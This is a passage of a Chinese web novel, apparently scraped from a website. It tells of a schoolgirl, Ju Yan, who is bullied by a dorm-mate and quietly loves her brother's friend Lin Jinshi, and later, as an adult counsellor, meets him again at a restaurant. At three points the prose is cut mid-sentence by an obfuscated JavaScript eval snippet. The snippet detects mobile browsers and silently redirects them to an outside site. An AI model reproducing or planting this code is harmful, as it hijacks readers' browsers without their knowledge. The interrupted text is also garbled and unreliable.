熄灯的铃“叮铃铃”刺耳地叫了起来，整幢楼的灯在几秒内先后被关上，前一刻还吵闹无比的一幢楼霎时熄灭，寂静下来。 宋梦然和黄欣瑶的争吵声也因此被掐断。 鞠言洗完澡，匆匆将洗漱用品放回柜子内锁好才上床睡觉。 邵芳和隔壁宿舍的女生都丢失过东西，所以她一直都有给柜子上锁的习惯。 寝室里静极了，以往这个时候黄欣瑶总会悄声和朱蕊、邵芳闲聊一些有关护肤品或明星的内容，但今天所有人都没有发出任何声音。 走廊的楼梯口传来模糊的脚步声，隔一段距离停一停，脚步声消失片刻，又重新响起来。 查寝的老师来了。 “今天查寝的是灭绝，要当心一些……”朱蕊压低声音说了一句，试图缓解一下紧张的氛围。 没有人回应，黑漆漆的寝室内，空气静得像凝固了。 隔壁传来了一名中年女老师的呵斥声，有某个寝室被惨痛地扣分了。 脚步声愈来愈近，寝室门上的小窗上有手电的光停留片刻，确认无恙后，金黄色的光晃开，脚步声逐渐远去。 鞠言的床位是右侧靠阳台的上铺，查寝的老师走后不久，黑暗中，对面宋梦然的床铺发出了嘎吱嘎吱的轻响声，她爬了下来，轻轻走到寝室门旁的座机，开始播电话。 她先给自己父母打了电话，最后打给了他。 鞠言躺在床上，四周淡白的蚊帐拦不住宋梦然委屈的啜泣声，以及他透过话筒传出的模糊的安抚声，静悄悄的寝室内，大家都醒着，都默契地一声不响。 鞠言翻了个身，把被子盖在头上，让单词和数学公式赶走脑海中的怅然情绪。 当天晚上她就梦到了他。她脑海里最熟悉的他的姿态——背影。 还有她每次替他们开门，他站在鞠然背后的样子。 还没打铃鞠言便醒了，她的胸口闷闷的，怅然若失。她轻手轻脚地爬下床，到卫生间洗漱，等她洗漱完，第一遍铃才刚响。 鞠言将钥匙揣进兜里随身带着，防人之心不可无，她也怕因为泄密的是会被黄欣瑶报复。 当天早自习下课，林今世下楼来找黄欣瑶。 他的神情与往常无异，在教室外面不知道对黄欣瑶说了什么，黄欣瑶回来后又哭了。 宋梦然的父母给班主任打了电话，上午第五节的自习课，班主任将黄欣瑶和宋梦然叫了出去。 鞠言位置靠窗，班主任在走廊的询问她听得一清二楚，跟昨天晚上的情况差不多，黄欣瑶咬死了不肯承认，宋梦然毫不顾忌地把她搬了出来。 寝室没有监控，拍不到证据，班主任也无法决断，听她们两个辩了一会儿后，她不耐烦地打断：“你们两个先进去。” 待她俩走进教室后，廖小迪又将她们寝室的其余人都叫了出去。 三人呈扇形站在廖小迪的面前。 廖小迪两手抱臂，脸上的神色颇为严肃，她询问道：“你们昨天有看见黄欣瑶拿宋梦然的牙刷做什么吗？” 邵芳斩钉截铁：“没有。” 朱蕊瞄了鞠言一眼，轻声说：“我昨天回去寝室的时候大家都已经走了。” 言下之意：她也没有看见。 班主任点了下头，随后将目光挪到鞠言的脸上，等她开口。 “……”鞠言重重闭了下眼睛，随后睁开：“昨天傍晚下课，我回宿舍的时候看见黄欣瑶拿了宋梦然的牙刷在刷洗手台。”说到这里，她抬睫看了一眼邵芳。 邵芳神色紧张地盯着她，生怕她会把自己也参与其中的事情说出去。 “……”鞠言淡然收回目光，接着说道：“我进去，她就收起来了，其他的没看见。” 身旁的邵芳明显松了口气。 廖小迪点了下头，和颜悦色起来：“好，我知道了，都进去吧。” 因为有了鞠言的作证，博弈的天平倾向了宋梦然的那一方，班主任让黄欣瑶给宋梦然道了歉，罚她写了一篇检讨。 以防她们再发生冲突，傍晚放学，黄欣瑶就在班主任的安排下，把自己的东西搬到了其他寝室。 当天晚上的第一节晚自习上课前，宋梦然的妈妈来了，因为宋梦然昨天哭得很厉害，她的家长放心不下，特意跑了一趟学校，预备替她请一天假出去散心。 宋梦然的妈妈当着全班人的面指责黄欣瑶一顿，黄欣瑶红着眼不敢回嘴，手攥得紧紧的。 - 第二节晚自习下课，鞠言从洗手间回来，才走到教室门口就看见了自己的课桌上有一滩乳白色在流淌。 高中要学的课程多，从抽屉里拿书不方便。常用的一些教科书和辅助资料，鞠言都理出来放在了课桌上安的书立架上。 课桌上的牛奶肆意畅游，已经洇湿了摊在桌上的习题本与立摆着的书籍的底部。 鞠言连忙奔回座位，她快手把书和作业暂时抢救到同桌的座位上，抽了好几张纸巾抓在手里，开始擦桌上的牛奶。 随着奶液的一点点消失，桌子上被刀刻出的字迹逐渐浮现出来，鞠言擦拭的手慢了下来。 两个字用刀刻得很深，充满恶意： 贱货。 “……” 鞠言心里并不甚惊讶，从宋梦然把她抖出去的那一刻起，她心里就做好了被报复的准备，只是没想到会这么快。 鞠言从容地将手里的脏纸巾丢到挂在桌下的蓝色小垃圾袋中，随后朝老师办公室走去。 班主任廖小迪正拿着水壶往茶杯中续水，鞠言把发生的情况跟她讲了一遍。 廖小迪的脸色凝重起来，她把手里的茶杯放下，和鞠言一起朝班级走。 晚自习的上课铃已经响了，班级里本来还有几声窃窃私语，廖小迪一从前门出现，顿时鸦雀无声。 廖小迪一言不发地径直走到鞠言的位置上，探脸朝桌上看了看，双眉立刻皱了起来。 她深吸了口气，转过身，目光在全班学生的脸上快速掠了一遍，沉声问： “是谁弄的？” 班级里寂静无声。 廖小迪等了一会儿，见没有人出声，正想再询问一遍。 鞠言忽然在全部人的目光注视下朝黄欣瑶的走了过去。 黄欣瑶一脸紧张地盯着她，鞠言才刚走到她的位置旁，还没开口说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305810|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么，她已先尖声自卫：“才不是我干的！” 鞠言没理她，面无表情地从她桌上拿了一本作业本转身就走。黄欣瑶呆了下，反应过来后立刻离座想追上来抢。 鞠言已将她的作业簿递给了廖小迪，脸色苍白的黄欣瑶只能停下脚步。 廖小迪会意，将黄欣瑶的作业簿随便翻开了一页搁到桌上和上面的字迹做对比。 虽然划刻痕和平时的书写稍有差异，但还是能看出是黄欣瑶的笔迹。 由于黄欣瑶一天之间接二连三得惹事，廖小迪已经对她忍无可忍了。 她当着全班人的面厉声呵斥了她，还撤销了黄欣瑶副班长的职务。 班级里静到连呼吸声都听得到，黄欣瑶脸涨得通红，紧咬着唇不让自己哭出来。 廖小迪皱着眉：“黄欣瑶和邵芳，你们两个把鞠言的桌子抬去杂物房，然后再搬一张新的桌子回来。”廖小迪不忘警告：“不许故意挑不平整的，不然我就把你们的桌子换给她。” 黄欣瑶满脸委屈，邵芳则是满脸不乐意，但两人并不敢说什么，不情不愿地搬着鞠言的桌子朝外走。 过了十多分钟，黄欣瑶和邵芳搬着桌子回来了，她们把桌子往鞠言位置上重重一放，随后黑着脸朝自己的位置走。 由于廖小迪的警告，这张桌子除了有些脏以外，没有别的不好。 鞠言拿湿巾纸将桌子上经年落下的灰尘仔细地擦干净，随后开始收拾抽屉。 抽屉里没有垃圾纸团，只有一张像是相片的东西，鞠言抽了出来拿在手里看。 是一张毕业照，她扫了眼上面印着的时间，比她大5届，估计是哪个学长或学姐忘记带去的。 她没有将照片丢掉，随手擦干净后放回了抽屉里。 朱蕊染上了流感请假去医院挂水了。晚自习下课，鞠言收拾好东西，一个人朝寝室的方向走着，才刚出教学楼，忽然有人扯住了她的帽兜。 又来了，鞠然这个无聊的家伙——— 对方忽然用力一扯，鞠言的领口猛地往她的喉部收紧，她被勒得有些窒息。 来不及惊愕，对方力道还在加重，试图拖着她往某个方向带，鞠言反手拽住自己的卫帽和她夺了几下，对方终于松开了手。 鞠言一手捂着自己的脖子，她咳了几声，回头质问道：“你干什么！” 面色不善的黄欣瑶两手抱臂，左侧站着邵芳，右手边是一个她见过几次但叫不出名字的瘦高女生。 黄欣瑶目光冷冷地看着她，语气透出命令：“跟我们走。” “……”鞠言脸色平静下来，她瞥了她一眼，扭头想走。 黄欣瑶伸手攥住了她的辫子，大力往后一扯，鞠言吃痛，本能地被她拖得倒退了两步，邵芳和瘦高女生围上来，挡住了她的去路。 黄欣瑶松开手，两手恢复了抱臂的状态，“我以前怎么没看出来你这么贱？”她边说，边朝鞠言走近一步。 鞠言慢条斯理地抬手将自己被扯松的马尾重新扎好，才淡声道：“明天，我会去告诉班主任。” 黄欣瑶的怒气被点燃，她抬起一只手狠扇过来。 一阵微凉的掌风往脸上扑，鞠言心里没有恐惧与耻辱，她抬臂正想挡开她的手，黄欣瑶的手腕却蓦地被人握住了。 还没等黄欣瑶反应，对方便用力一甩，将她甩到了地上。 鞠言愕然，本能地看是谁，对方往前一步挡在了她的身前。 她最熟悉的———他的背影。 8. 第 8 章 “……”林今世居高临下地扫了黄欣瑶一眼，冷淡的眸光中透出些许不耐。 黄欣瑶满脸惊诧，跟鞠言一样怎么也没想到会是他。 邵芳和瘦高女生面面相觑，迟疑片刻，邵芳弯身去扶地上的黄欣瑶起来。 黄欣瑶脸上的表情已经从惊诧变成了带醋意的委屈。 就在此时，鞠言感到身侧有人冲了过去，林今世眼疾手快，一把拽住了满脸怒气的鞠然，他比林今世晚来了一步。 邵芳被吓了一跳，扶着黄欣瑶的手猛地撤了回来，黄欣瑶还没站稳，差点儿又跌倒。 看他杀气腾腾，对面三人面露惧色，瘦高女孩往后退了一步，急声质问道：“鞠然你要打女人？！” 鞠然骂了一声，眼中的怒气更盛了几分，他用力甩了下林今世拽他的手，冲他吼：“放开！” 鞠言忙拉住他：“你别动手，我没事，去告诉老师就好了。” 她没受伤，要是鞠然动了手，不仅理亏，有可能还会被处分。 鞠然飞快垂睫看了她一眼，确认她没有受伤，他的怒气才平缓了一点，但胸口还在不住地起伏着。 确认他不会再冲上去了，林今世松开手，抄回兜里。 鞠然拽住鞠言的一条手臂带她离开，一面回过头狠声警告她们：“都给我滚！再来惹我妹，有你们好看的！” _ 鞠然一路都在自言自语，“我到寝室就给妈打电话，要她去跟你班主任说。” 这句话他已经念叨了好几遍了。 鞠言和林今世一言不发地走在他的两侧。 鞠然忽然又生起她的气，低下脸炸毛道：“你遇到这种事情不会跟我说？在你眼里我就这么没用？” “是突发情况。”鞠言抬手理了下鬓边的碎发：“你们怎么会来？” 这句“你们”里包含了林今世，说出口总有点异样的感觉。 “下楼的时候看到有人拽你头发。”鞠然的身侧传来了林今世淡然的声音。 “噢……”鞠言点点头，不说话了。 林今世和鞠然一路送她到女寝楼下，鞠言纠结着走到宿舍门口，最后还是掉头跑了回去。 男生寝室在另外一个方向，鞠然和他已经往回走了。 鞠言小跑着追上，跑到他们面前，鼓起勇气道：“哥，今天谢谢你。”说完后，她看向林今世，一看见他的脸，好不容易生起来的勇气又跑光了，她立刻垂下了眼，轻声对他道：“你也是。” 林今世没说话，鞠然脸上现出不自在的表情，嫌弃道：“你别这么肉麻行不行。” 鞠言也觉得有些变扭，转移话题道：“对了，别去给妈打电话，我自己去跟老师说就可以了。” “知道了。”鞠然不耐烦地应道。 “要是头发被扯痛了，擦点碘伏，第二天就会好的。”林今世忽然对她道。 意识到他是在和自己说话，鞠言瞬间紧张起来，她轻声道：“宿舍里没有碘伏……只是被扯了一下，现在已经不太痛了。” 宿舍楼外的路灯昏昏地散发着微弱的光，看不清林今世的脸，她也不敢抬起头，只听得见他的声音，他的声音很好听，语调总是很从容，仿佛做什么都会游刃有余。 林今世微微颌首，和鞠然一起离开。鞠言站在原地望着他的背影，直至看不见。 翌日上午，鞠言将昨晚发生的事情告诉给了班主任。她平日里很乖，从不惹事，而黄欣瑶已经不止一次霸凌同学了，廖小迪听完情况后，把黄欣瑶和邵芳叫去了办公室好久，回来时黄欣瑶和邵芳都眼泪汪汪的，一回教室立刻伏在课桌上哭了起来，后来鞠言听班长说，她们两个人都吃了一记处分。 上午第四节课的放学铃一响，教室里的学生便一窝蜂地往教室外冲，奔赴食堂争抢优先择菜名额。 教室空了大半，鞠言才慢吞吞地站起身，她不喜欢和人挤来挤去。 “比比！”前门的方向传来叶珊的声音。 鞠言在心里叹了口气，鞠然这家伙果然还是没有听她的话。 叶珊走进教室，目光在她身上游走了一遍，察看是否有异常。 鞠言无奈，安抚她道：“妈，我没事。”她走过去，从叶珊手中接过两大桶肯德基搁到自己的桌上，看量不是给她一个人。 叶珊在她前排的空位置上坐下，气呼呼地道：“那些小太妹！书不好好读欺负同学，你等下等着，妈妈要让她们好看！” 鞠言笑道：“她们给我道过歉了，已经解决啦。” 叶珊“哼”了一声：“对了，去叫你哥哥一起来吃。” 为了避免引起踩踏，桐安中学的放学铃分三个，每个间隔5分，三个年级轮流，一星期换一换。 这次高三轮到最后一个放学铃，下课要比她们晚十分钟。 鞠言应了声，起身往楼上走，每走一步台阶，她就紧张一分，私心希望可以借此看一眼林今世，但又害怕被他发觉。 鞠言爬完三层楼梯，穿过一条走廊，到达他的教室门口——309班。他们的楼层高，走廊外橄仁树的叶子仿佛触手可得。 高三还没下课，整个走廊静悄悄的，鞠言手朝后抵在教室外壁的白墙上，安静地等他们下课。 铃响了，颤抖的铃声响彻整栋教学楼，伴随着哄闹声，一大波学长学姐从每个教室的前后门涌了出来。 鞠言仰起脸在人群中寻着林今世的身影，在一大波身着相同校服的学生中，她看到林今世步伐懒懒地从教室后门出来，在她面前经过，没有注意到她。 鞠然就在他身后，他双手搭在林今世肩上，正推着他往外走。 “鞠然。”她喊了一声。 鞠然停下脚步，神色疑惑朝她望过来：“你来干嘛？” 林今世也随着他停下脚步，目光漫不经心地瞥向了走廊外那些橄仁树的枝叶上。 “妈买了肯德基，喊你下去一起吃。”即使他没有朝她看，鞠言的手心还是沁出了薄汗。 “什么？”鞠然侧了侧脸，鞠言说得很轻，周围闹哄哄的，根本听不清。 鞠言只好提起声说道：“妈来了，让你下去吃肯德基。” 鞠然眉毛轻轻扬了下，眼中显出惊喜，在学校里一关就是大半个月，很少有机会吃到外面的东西。 他侧头喊了林今世一声：“走。” 鞠言的心一紧。 “干嘛这幅表情？”鞠然注意到了她紧张的脸色，“小气了？” 鞠言简直想杀了他，她的脸飞速涨红，急道：“怎么可能！只有你这种人才会这么想！” 鞠然吐舌头，朝她拉了下眼皮。 鞠言气得瞪他，余光朦胧地看到林今世似乎笑了。 她的心停跳一拍，情不自禁地朝他瞥了一眼，他真的在笑，眼睛微微弯了起来，长睫毛落到了下眼睑，在脸上投下了丝丝缕缕的淡影。 没见过林今世露齿笑，他笑起来时，总是微微勾一下唇角。 迎面扑来一阵风，调皮地将她的额前薄薄的留海往后掀。 鞠言的脸更红了，她别开视线，伸手将刘海按下来。 鞠然察觉到了她的脸红，夸张地叫了起来：“靠！怎么他笑一下你就脸红犯花痴了，一天到晚对着你哥这张帅脸还没免疫？” 心思被骤然戳穿在心上人面前，鞠言的脸瞬间红到饱和。 “你能不能不要乱说！再不去，妈等下要说了。”她倏地转过身，快步往楼下走，像逃。 听见鞠然在背后欠揍的笑声，她真想把他当场大卸八块。 好在因为林今世这张脸引起别人脸红的次数太多了，鞠然和他都没有往她喜欢他那方面想，只是单纯当她是不好意思。 鞠言一阶阶往下走，身后传来不整齐的脚步声，她能轻松辨别出哪个是林今世的。 鞠言渐渐放松，听着背后传来的他懒洋洋的脚步声，她的心里有种说不出的愉悦与紧张。 他俩的腿比她的长，三步两跨，很快就追到了她身旁。 鞠然一条手臂勾着林今世的脖子，半个人的重量压在他背上，在聊着一些鞠言不认识的人和一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305811|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不明白的话题。 鞠言恬静地走在他们身侧，她很羡慕鞠然，可以轻而易举地将手搭在他身上，可以什么话都不经过脑子的跟他说。 鞠言很留心地听他们讲话，她喜欢听他的声音和腔调，也好奇他对任何事的看法。 某个话题跳脱的起头，又随便地结束。 静默的几秒间，林今世忽然喊了她一声： “鞠言。” “嗯？”鞠言隔了几秒，才极轻地应了一声，微微朝他偏过脸。 余光中，朦胧的他递了什么东西过来。 鞠言强作坦然地接过，鞠然和她一样好奇，已经开口问了：“什么啊？” “药。”林今世简短地答道。 是一瓶的医用碘伏，不是新的，还剩下一半，估计是自己平时用的。 鞠言没想到他还记得她被扯头发的事，怔然片刻，才想起来还没跟他说谢谢，刚想开口，林今世恰在此时也说话了，她的谢谢被拦了回去。 “棉签自己有吧？”他语气懒懒地问。 鞠言微微点了点头，轻声道：“谢谢你。”碘伏不大不小，握在手心刚刚好。 林今世没有再回答，和他短暂的有关到此为止。 “你女朋友呢，还没回来？”鞠然问起了宋梦然。 “嗯，要到明天早上。”他的语气一如往常，没有想念。 鞠言刚刚还百分百纯粹的快乐中被掺进了酸涩。 差点儿忘了他是有女朋友的人。 他对她略表关心，不过因为她是自己朋友的妹妹。 三人前后走进她的教室，叶珊正低头看着手机，余光瞥见，仰起脸来。 她看见鞠然，眼里顿时生出笑意，她用手拍了下自己身旁的位置，眉花眼笑道：“来，坐这里。” 鞠然敷衍地喊了声“妈”，走到她旁边坐下。 鞠言的脚步顿了下，围绕她课桌的位置仅剩下她身旁的那一个了，这意味着林今世会坐在她身旁，鞠言顿时又紧张起来，局促地走到自己位置上坐下。 林今世喊了声“阿姨”，他是她家的常客，叶珊早认识他了。她只是笑吟吟地应了一声，目光又放回了儿子身上。 林今世拉开她身旁的椅子坐下。他的腿太长，将椅子往后拉开了很宽一段距离。 鞠言含着眼皮，他的轮廓虚虚在眼旁，她整颗心都被紧张的情绪占据，身体前所未有的紧绷。 因为腿长的缘故，林今世坐下时和她的身高差，要比站着时差距小一些。但她的脑袋还是才刚到他的肩膀。 鞠言知道他的身高，去年体检过后，鞠然在家里哀怨了好久，为了自己比林今世矮了3cm，怪父母没有把他再生高一些。 她知道鞠然的身高：1米85，再加上3cm就是他的身高了。 188，就连身高也很完美。 鞠言伸手去拿薯条，他也恰好伸手，两人的手指不经意擦到了一下。他完全无意，她的手却像是被烫了一下。 - 黄欣瑶被处分后虽然仍和宋梦然互相不理，但也再没有明面上的冲突，只是报复性的向教导主任告发了宋梦然和林今世的恋情。 她们的语文老师同时也是教导处副主任，鞠言是语文课代表，她抱着一叠作业走到教务处。 林今世和宋梦然正站在教务处门外罚站。 虽然是处罚，鞠言却有些羡慕，和他因为一件事被共同处罚，似乎也很幸福。 身旁经过的许多学生都会不自觉地向他们看一眼，林今世一脸无所谓，两手抄兜，懒洋洋地站在宋梦然的身旁，宋梦然垂着脸，余光注意到鞠言，仰起脸朝她抿嘴笑了笑。 鞠言礼貌性地回以浅笑，竭力不去注意林今世。她走到教务室，空出一只手刚想推门，门却忽然打开了，一个一脸不服气的男生冒冒失失地闯出来，鞠言下意识往后退，怀中的作业随着她的动作向旁滑落，眼看就要糟糕。 在这时，一只漂亮骨感的手闲闲地推住了将要倾倒的作业，不用抬头，就知道手的主人是谁。 9. 第 9 章 鞠言的心颤了一下，她丢下一句极轻的：“谢谢”，快步进了教务室，避开和他的任何一点接触。 中午时分，高二的下课铃打响，鞠言站在廊下看着外面下个不停的雨，有些心疼自己的新鞋，她叹了口气，俯下身从架子上寻找自己的伞。 因为上个学期一连被偷了两把伞的缘故，所以鞠言这学期只敢买最便宜、最寻常的款式了。 鞠言找了好一会儿，才从几十把款式相近的雨伞中找到自己的那一把，刚要拿，忽然有女声喊她： “比比。” 鞠言向声音的方向看去，是宋梦然。 “我跟你一起走。”宋梦然走过来，亲昵地挽住了鞠言的手臂，阻止了她拿伞的动作： “用我的吧，我的伞大。” 鞠言：“……” 跟随着人潮下楼，人群在门廊下稍作停顿，一把把斑斓的伞撑开，移向雨中，宋梦然站在门廊下将手里的伞递给她，歉然一笑，撒娇道：“比比，你撑伞可以吗？我不喜欢撑伞。”她又补了一句，“我手容易酸。” 鞠言接过伞，一面撑开，一面温和道：“你还是叫我名字吧。” 两人顶着一柄透明的伞，朝食堂的方向走，空气冷冷的有股潮味，打在伞面上的雨水像是点点露珠，鞠言不禁想起了那天出电影院时，她穿着他的外套，同样撑伞走在雨夹雪的路上。 但他现在是宋梦然的男朋友了，她打断脑内的想法，只希望以后不要再想起他。 四周同校生讲话的声音盖过了雨声，一把把撑开的伞让本就不够宽阔的梧桐大道显得拥挤。 鞠言有些走神，她仰起脸，目光透过透明的伞望向上方，梧桐树焦黄的叶子在冷风中簌簌颤抖着，像是无数只振翅的蝶。 莫名加快的心跳将她从出神的状态唤醒。 鞠言忽然感觉到，走在她们身后的是林今世。 鞠言握伞的力道紧了紧，没有回过头确认，身旁的宋梦然还在讲着她小时候学跳舞的事情。 鞠言感觉背后有人在牵她辫子，她不用猜就知道是鞠然这个幼稚鬼，她不回头，只是伸手将辫子抢回来，放到胸前。 “喂。”背后传来起哄的笑，是鞠然的声音，“你男朋友走你背后那么久没有发现啊？” 宋梦然懵然回过头，眼中一瞬迸出惊喜的光芒。 没有听见林今世的声音，他什么话都没说，但鞠言知道他就在身后，她的鼻子莫名有点发酸。 宋梦然钻出透明的小伞，笑眯眯地对鞠言道：“比比，伞留给你，我跟我男朋友一起走。” “嗯好。”她略回脸看了她一眼，林今世的校服在她眼角的余光中一晃而过，她加快脚步往前走。 鞠然追上来，弯着腰往她的伞下钻，他从她手里接过伞，挑起一侧嘴角对她道，“等我一下啊，咱俩同病相怜都是被抛弃的。” 鞠言注意着自己的表情，不让他看出异常，冷淡道：“谁和你同病相怜。” 接下的几天，不管是吃饭还是回宿舍，只要林今世不在的时候，宋梦然总是要跟她一起。 因为之前的事，鞠言并不喜欢宋梦然，暗示了许多次她只想跟她做普通同学，宋梦然却依旧像是听不懂。 最近几日是梅雨天，几乎每一天都在下雨。 随着铃响，学生们一窝蜂地挤出教室，鞠言将写了一半的卷子收进课桌，走出教室，宋梦然正站在廊下等她。 见鞠言出来了，宋梦然从架子上拿了伞，习以为常将伞递给鞠言。 鞠言：“……” 她没有接，只是从架子里拿了自己的伞，道：“梦然，以后你不要等我了，我们还是做普通朋友吧。” 宋梦然表情呆住，片刻后轻轻应了声：“好。” 跟往常一样，林今世对宋梦然的喜欢也是稍纵即逝，不过短短半个月，两人就分手了。 宋梦然在教室里哭得梨花带雨，几乎整个班级的男生都围了过去安慰她。 林今世和平时没什么两样，毫不掩饰的薄情，却仍有无数的人前赴后继。 - 结束了最后一场咨询，时间还早，鞠正在用电容笔在平板记录上一个来访者的咨询报告。 门被叩了两声，在鞠言说了“请进”后，红着脸的乔楠打开门，李景显对她说了谢谢，翩翩走了进来。 鞠言仰起脸朝他笑了笑：“你稍等下，我马上就好。” 上个月说了要请李景显吃饭，他直到今天才有空，鞠言已经提前定好了餐厅，李景显是来接她的。 李景显走到她身旁，两手抄着兜俯下身来看她写笔记，鞠言将平板朝向自己：“小李总，不能随便看，这是患者的隐私。” “都说了不要叫我李总啦！”李景显抗议道。 “抱歉抱歉，我又忘记了。” 李景显将目光从平板上挪开，盯着她的侧影看了片刻，似是随口说起： “你知道吗？你尊敬的沈院最近给我安排了相亲，我忙完公司里的事情还要去应付他们。”他叹了口气：还是你机灵，躲得远没这些事要烦。” 鞠言弯唇笑了笑。 李景显一只手肘搭到她的椅背上，凑近点神秘地说道： “你猜猜我最后怎么脱身的？” 鞠言摇了摇头。 “我说我有喜欢的人了。”李景显无奈一笑：“他们再催下去，我都要说自己是同性恋了。” “你还怕找不到女朋友吗？” “我怎么没发觉有合适的？”李景显微微挑眉。 “可能是你要求太高了。”鞠言随口答道。 李景显笑起来，“不高不高，有合适的你帮我留意着点。 鞠言顺着他的话问：“你喜欢什么类型的。” 李景显没有立刻回答，只是望着她。 鞠言的脸上只是淡妆，没有戴耳环，长发随意地用一只水蓝色的抓夹挽起来，几缕发丝垂在白洁的脸颊旁。 他的笑意收了，脸上多了几分认真的神气： “你这样的。” 鞠言当他是开玩笑，也没朝他看，自顾自低着脸写笔记，只微笑着说：“你跟每个女生都这样讲吗。” 李景显“哧”的笑了一声：“你怎么把我想成这样？” “你看起来像。” 李景显安静了一会儿，才轻轻地说，“我哪是这样的人。”他的语调听起来莫名有些缱绻，鞠言不由抬眼朝他看了过去。 两个人眼睛碰上，李景显眼里的神气让她后知后觉地怔了下，鞠言隔了一会儿，才笑说： “我还不想恋爱呢。” 她对李景显没感觉，他们的门第也差的太多，之前的经历也让鞠言对恋爱这件事感到厌倦与抗拒。 李景显没显失望，仍旧轻轻地道：“你不要误解我就好。” “我的错。”鞠言笑道，她盖上平板，起身收拾东西，李景显绅士地将她的包接了过去。 两人出了咨询室，在过道上，李景显瞥见了垃圾桶中盛放的蓝色风铃花，“咦”了一声道： “咱们森北医院的垃圾桶什么时候改花桶了？” “……”鞠言将视频避开，并没有搭腔。 - 这家法式餐厅人气很高，座无虚席，鞠言提前了好几天预定，才抢到了一个位置，此刻却看到有一个靠落地窗的位置一直空着。 两人在披着白桌布的圆桌上旁落座，桌上摆着玫瑰花束和闪动着银色火焰的香薰蜡烛。 点完菜，侍者先送上了他们点的干白葡萄酒。 两人轻轻碰了下杯。 “谢谢款待。”李景显笑道。 “不用那么客气。” 李景显喝了口酒，优雅地将杯子搁回桌上： “你们心理咨询师每一天结束工作后，都是靠什么方式解压的？供我参考参考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305812|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “李总最近压力很大吗？”鞠言望着他的眼睛问，李景显的瞳孔颜色偏棕，晶莹的琥珀光泽。 “都说了不要叫我李总啦！鞠医生。” “啊，抱歉。”鞠言歉然地笑了下，随后给李景显分享自己平时解压的方法： “我通常情况下会在洗完澡后，听会儿歌，在那段时间内什么都不想，完全将大脑放空。” 这是鞠言最喜欢的放松方式，她买了一台二手的黑胶唱片机，每天在洗完澡后，都会放上一张唱片安静地听一会儿。 “用头戴式耳机听吗？”李景显认真地听着。 “我更喜欢用唱片机听音乐，看到唱片悠悠地旋转，会觉得很放松。” “这么巧？”李景显用看似惊讶的眼神望着她，“我们的爱好居然差不多。” 鞠言：“你也喜欢用唱片机听音乐吗？” 李景显颌首。 穿着燕尾服的侍者为他们送上了前菜，李景显点的是柠檬奶油烙鳕鱼，鞠言点的是鱼子酱点心。 两人对为他们送上前菜的使者说了谢谢。 李显景微笑道：“想邀请你去我家听音乐，我有一台TechDAS空军系列的唱片机，音质还不错，唱片也收集了不少。” “真的吗？！”鞠言惊喜地问，他说的唱片机是顶级品质的其中之一。 她立刻欣然答应了下来。 晚餐吃到一半，斜对面靠落地的座位终于迎来了它姗姗来迟的客人。 两名侍者彬彬有礼地拉开了椅子，请三位男客落了座。 三人都穿得比较随性，其中那个身形颀长的男人，不用等他摘下口罩，鞠言仅从懒懒的姿态与清冷的气质便认出了他是谁。 下一瞬，林今世也望见了她。 他微微一怔，目光在她的脸上静止了两秒，随后投向了她身旁的李景显。 他明显还记得李景显，几乎是下意识地站了起来，想朝她过来，坐他身旁的经纪人连忙拉住他。 和林今世同桌的另外一个人也回过头往鞠言的方向看过来。 李景显回过头瞥了林今世一眼，鞠言没有看到他眼中透出的得色。 林今世：“……” 林今世坐在鞠言对面的位置上，直勾勾地盯着她，鞠言看得出他一直紧咬着牙。显然是因为李景显出现在她的身旁，让他很受刺激。 鞠言面无表情，她自若地抿了一口酒，随后想将杯子放回桌去，玻璃杯却在下一刻失手，随着清脆的声响，地面溅开了一小片晶莹。 李景显柔声问她：“怎么了，身体不舒服吗？” 她朝他浅笑：“没事。” 李景显伸手过来在桌上捏了下她的手，“怎么这么冷？” “从小就这样，没事的。”鞠言把手抽回去。 “那怎么行呢，”李景显缱绻地望着她，柔声怪道，“我给你安排个医生调理一下吧？” “…….不用这么麻烦的，我自己去看一下就好。” 鞠言垂下眼，莫名地不敢看对座的林今世，可她却能感觉到他一直在看着她。 “我们换个位置，可以吗？”她询问李景显。 李景显点了点头，微笑道：“我都可以。” 明知这家餐厅的位置需要预定，没办法更换，鞠言还是心慌意乱地唤了侍者过来，询问能不能换座。 服务生歉然地否定让鞠言的心更乱了，她站起身，选择了最笨的躲避方法。 “我去趟洗手间。” 李景显：“需要我陪你吗？” 鞠言摇了摇头。 她来到卫生间，在洛可可式的金色雕花镜子前静站了好一会儿，调整好状态才，才在盥洗台洗了洗手，朝外走。 过道上有人等着，对方身形颀长，两手抄兜靠在墙上，侧影的线条异常俊秀，余光瞥见她出来，男人侧眸看了过来，显然是专程来等她的。 10. 第 10 章 鞠言的脚步顿住两秒，随即视而不见地想从他身旁走过。 